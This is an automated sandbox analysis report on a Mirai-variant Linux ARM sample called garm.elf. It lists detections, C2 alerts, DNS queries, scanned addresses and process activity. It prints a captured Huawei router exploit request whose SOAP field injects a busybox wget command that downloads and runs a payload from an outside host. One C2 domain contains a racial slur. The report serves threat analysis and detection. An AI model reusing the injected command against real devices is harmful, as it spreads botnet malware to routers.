Edit tour

Linux Analysis Report
garm.elf

Overview

General Information

Sample name:	garm.elf
Analysis ID:	1540912
MD5:	ff7eb842f0b38ac1e67c69816c83772c
SHA1:	8754b343901fd3c3389982387dcc9687f8b41841
SHA256:	72187fa33f2c3b03340361e5ebdeca5bfd47d1a7b780011185280e779d00fe40
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540912
Start date and time:	2024-10-24 10:01:23 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	garm.elf
Detection:	MAL
Classification:	mal92.troj.linELF@0/1025@76/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: garm.elf

Runtime Messages

Command:	/tmp/garm.elf
PID:	6254
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	hail china mainland
Standard Error:

Process Tree

system is lnxubuntu20

garm.elf (PID: 6254, Parent: 6176, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/garm.elf

garm.elf New Fork (PID: 6256, Parent: 6254)

garm.elf New Fork (PID: 6257, Parent: 6254)

garm.elf New Fork (PID: 6260, Parent: 6257)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
garm.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
garm.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
6254.1.00007fb4d4017000.00007fb4d4027000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6254.1.00007fb4d4017000.00007fb4d4027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: garm.elf PID: 6254	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Suricata Signatures

ET MALWARE Hailbot CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T10:02:40.136168+0200	2050066	1	A Network Trojan was detected	192.168.2.23	52632	138.68.66.39	7832	TCP
2024-10-24T10:02:51.446022+0200	2050066	1	A Network Trojan was detected	192.168.2.23	54266	138.68.66.39	7832	TCP

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 469Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 66 6f 78 2e 63 61 74 20 2d 6c 20 2f 74 6d 70 2f 6b 69 20 2d 72 20 2f 68 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 69 3b 20 2f 74 6d 70 2f 6b 69 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g hfox.cat -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.23:52632 -> 138.68.66.39:7832
Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.23:54266 -> 138.68.66.39:7832

Source: global traffic	DNS traffic detected: malformed DNS query: howyoudoinbby.dyn. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: therealniggas.parody. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: swimminginboats.geek. [malformed]

Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443

Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 197.226.87.76
Source: unknown	TCP traffic detected without corresponding DNS query: 41.11.255.76
Source: unknown	TCP traffic detected without corresponding DNS query: 197.71.249.91
Source: unknown	TCP traffic detected without corresponding DNS query: 197.40.81.56
Source: unknown	TCP traffic detected without corresponding DNS query: 197.200.180.77
Source: unknown	TCP traffic detected without corresponding DNS query: 197.232.242.8
Source: unknown	TCP traffic detected without corresponding DNS query: 156.70.140.253
Source: unknown	TCP traffic detected without corresponding DNS query: 156.71.207.159
Source: unknown	TCP traffic detected without corresponding DNS query: 197.23.87.116
Source: unknown	TCP traffic detected without corresponding DNS query: 41.62.51.203
Source: unknown	TCP traffic detected without corresponding DNS query: 41.242.152.142
Source: unknown	TCP traffic detected without corresponding DNS query: 197.59.200.56
Source: unknown	TCP traffic detected without corresponding DNS query: 41.78.20.148
Source: unknown	TCP traffic detected without corresponding DNS query: 156.162.219.207
Source: unknown	TCP traffic detected without corresponding DNS query: 197.181.85.192
Source: unknown	TCP traffic detected without corresponding DNS query: 156.82.193.111
Source: unknown	TCP traffic detected without corresponding DNS query: 156.3.64.69
Source: unknown	TCP traffic detected without corresponding DNS query: 197.133.19.204
Source: unknown	TCP traffic detected without corresponding DNS query: 156.73.185.97
Source: unknown	TCP traffic detected without corresponding DNS query: 197.142.31.173
Source: unknown	TCP traffic detected without corresponding DNS query: 156.163.38.210
Source: unknown	TCP traffic detected without corresponding DNS query: 156.202.167.216
Source: unknown	TCP traffic detected without corresponding DNS query: 197.68.150.113
Source: unknown	TCP traffic detected without corresponding DNS query: 41.145.89.233
Source: unknown	TCP traffic detected without corresponding DNS query: 156.207.105.181
Source: unknown	TCP traffic detected without corresponding DNS query: 197.150.243.183
Source: unknown	TCP traffic detected without corresponding DNS query: 156.84.236.111
Source: unknown	TCP traffic detected without corresponding DNS query: 197.251.62.234
Source: unknown	TCP traffic detected without corresponding DNS query: 197.136.48.97
Source: unknown	TCP traffic detected without corresponding DNS query: 197.164.221.56
Source: unknown	TCP traffic detected without corresponding DNS query: 41.117.145.86
Source: unknown	TCP traffic detected without corresponding DNS query: 41.109.20.228
Source: unknown	TCP traffic detected without corresponding DNS query: 156.168.217.174
Source: unknown	TCP traffic detected without corresponding DNS query: 41.246.105.152
Source: unknown	TCP traffic detected without corresponding DNS query: 156.21.175.38
Source: unknown	TCP traffic detected without corresponding DNS query: 197.22.106.234
Source: unknown	TCP traffic detected without corresponding DNS query: 41.54.216.58
Source: unknown	TCP traffic detected without corresponding DNS query: 41.232.241.155
Source: unknown	TCP traffic detected without corresponding DNS query: 41.253.112.131
Source: unknown	TCP traffic detected without corresponding DNS query: 197.26.48.134
Source: unknown	TCP traffic detected without corresponding DNS query: 41.17.192.140
Source: unknown	TCP traffic detected without corresponding DNS query: 156.106.246.220
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.47.202
Source: unknown	TCP traffic detected without corresponding DNS query: 156.55.203.138
Source: unknown	TCP traffic detected without corresponding DNS query: 41.224.238.141
Source: unknown	TCP traffic detected without corresponding DNS query: 41.98.94.203
Source: unknown	TCP traffic detected without corresponding DNS query: 41.31.208.2
Source: unknown	TCP traffic detected without corresponding DNS query: 197.43.117.128

Source: global traffic	DNS traffic detected: DNS query: swimminginboats.geek
Source: global traffic	DNS traffic detected: DNS query: magicalmalware.pirate
Source: global traffic	DNS traffic detected: DNS query: howyoudoinbby.dyn. [malformed]
Source: global traffic	DNS traffic detected: DNS query: therealniggas.parody. [malformed]
Source: global traffic	DNS traffic detected: DNS query: swimminginboats.geek. [malformed]

Source: garm.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: garm.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample	String containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/4722/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/6237/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/6257/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/379/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/2208/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/6262/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/garm.elf (PID: 6256)	File opened: /proc/1809/cmdline	Jump to behavior

Source: garm.elf, 6254.1.000055e24402d000.000055e2441a2000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: garm.elf, 6254.1.00007ffc73021000.00007ffc73042000.rw-.sdmp	Binary or memory string: &x86_64/usr/bin/qemu-arm/tmp/garm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/garm.elf
Source: garm.elf, 6254.1.000055e24402d000.000055e2441a2000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: garm.elf, 6254.1.00007ffc73021000.00007ffc73042000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Source: Yara match	File source: garm.elf, type: SAMPLE
Source: Yara match	File source: 6254.1.00007fb4d4017000.00007fb4d4027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: garm.elf PID: 6254, type: MEMORYSTR

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
garm.elf	58%	ReversingLabs	Linux.Trojan.Mirai
garm.elf	100%	Avira	EXP/ELF.Mirai.Hua.c

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Name	IP	Active	Malicious	Reputation
magicalmalware.pirate	138.68.66.39	true	true	unknown
howyoudoinbby.dyn. [malformed]	unknown	unknown	true	unknown
swimminginboats.geek	unknown	unknown	true	unknown
swimminginboats.geek. [malformed]	unknown	unknown	true	unknown
therealniggas.parody. [malformed]	unknown	unknown	true	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
156.222.154.31	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.223.62.16	unknown	Egypt	37069	MOBINILEG	false
197.172.190.132	unknown	South Africa	37168	CELL-CZA	false
197.106.7.147	unknown	South Africa	37168	CELL-CZA	false
197.26.6.220	unknown	Tunisia	37492	ORANGE-TN	false
197.179.229.42	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
41.226.143.40	unknown	Tunisia	37705	TOPNETTN	false
197.58.204.202	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.249.231.155	unknown	Seychelles	26484	IKGUL-26484US	false
41.48.183.8	unknown	South Africa	37168	CELL-CZA	false
197.224.41.150	unknown	Mauritius	23889	MauritiusTelecomMU	false
197.172.142.215	unknown	South Africa	37168	CELL-CZA	false
41.105.231.105	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.145.34.68	unknown	South Africa	5713	SAIX-NETZA	false
41.193.135.18	unknown	South Africa	11845	Vox-TelecomZA	false
156.79.67.29	unknown	United States	11363	FUJITSU-USAUS	false
156.92.88.9	unknown	United States	10695	WAL-MARTUS	false
197.12.117.158	unknown	Tunisia	37703	ATLAXTN	false
41.42.118.15	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.45.32.29	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.152.131.92	unknown	Egypt	36992	ETISALAT-MISREG	false
197.191.86.120	unknown	Ghana	37140	zain-asGH	false
197.223.62.31	unknown	Egypt	37069	MOBINILEG	false
41.219.191.14	unknown	Nigeria	30998	NAL-ASNG	false
156.49.135.67	unknown	Sweden	29975	VODACOM-ZA	false
156.216.92.50	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.124.100.156	unknown	United States	393504	XNSTGCA	false
156.83.202.34	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	true
41.95.142.103	unknown	Sudan	36998	SDN-MOBITELSD	false
41.157.30.73	unknown	South Africa	37168	CELL-CZA	false
156.55.64.33	unknown	United States	20746	ASN-IDCTNOOMINCIT	false
41.3.103.250	unknown	South Africa	29975	VODACOM-ZA	false
156.176.96.234	unknown	Egypt	36992	ETISALAT-MISREG	false
197.237.113.162	unknown	Kenya	15399	WANANCHI-KE	false
197.51.4.215	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.76.161.120	unknown	United States	6341	WIECUS	false
41.108.48.197	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.69.35.15	unknown	South Africa	16637	MTNNS-ASZA	false
197.252.128.195	unknown	Sudan	15706	SudatelSD	false
41.160.80.7	unknown	South Africa	36937	Neotel-ASZA	false
156.111.211.58	unknown	United States	395139	NYP-INTERNETUS	false
41.70.121.251	unknown	Malawi	37098	globe-asMW	false
156.104.246.17	unknown	United States	393504	XNSTGCA	false
197.252.28.243	unknown	Sudan	15706	SudatelSD	false
197.116.172.34	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.7.48.72	unknown	United States	29975	VODACOM-ZA	false
156.8.126.106	unknown	South Africa	3741	ISZA	false
197.91.228.131	unknown	South Africa	10474	OPTINETZA	false
41.187.159.114	unknown	Egypt	20928	NOOR-ASEG	false
41.71.222.89	unknown	Nigeria	37053	RSAWEB-ASZA	false
156.42.234.42	unknown	United States	4211	ASN-MARICOPA1US	false
156.223.144.245	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.122.114.201	unknown	South Africa	16637	MTNNS-ASZA	false
197.164.175.171	unknown	Egypt	24863	LINKdotNET-ASEG	false
156.91.176.168	unknown	United States	10695	WAL-MARTUS	false
197.233.253.87	unknown	Namibia	36999	TELECOM-NAMIBIANA	false
41.121.79.16	unknown	South Africa	16637	MTNNS-ASZA	false
156.188.232.18	unknown	Egypt	36992	ETISALAT-MISREG	false
41.73.35.1	unknown	South Africa	37105	NEOLOGY-ASZA	false
156.71.116.205	unknown	United States	297	AS297US	false
197.139.229.109	unknown	Kenya	36914	KENET-ASKE	false
156.203.180.118	unknown	Egypt	8452	TE-ASTE-ASEG	false
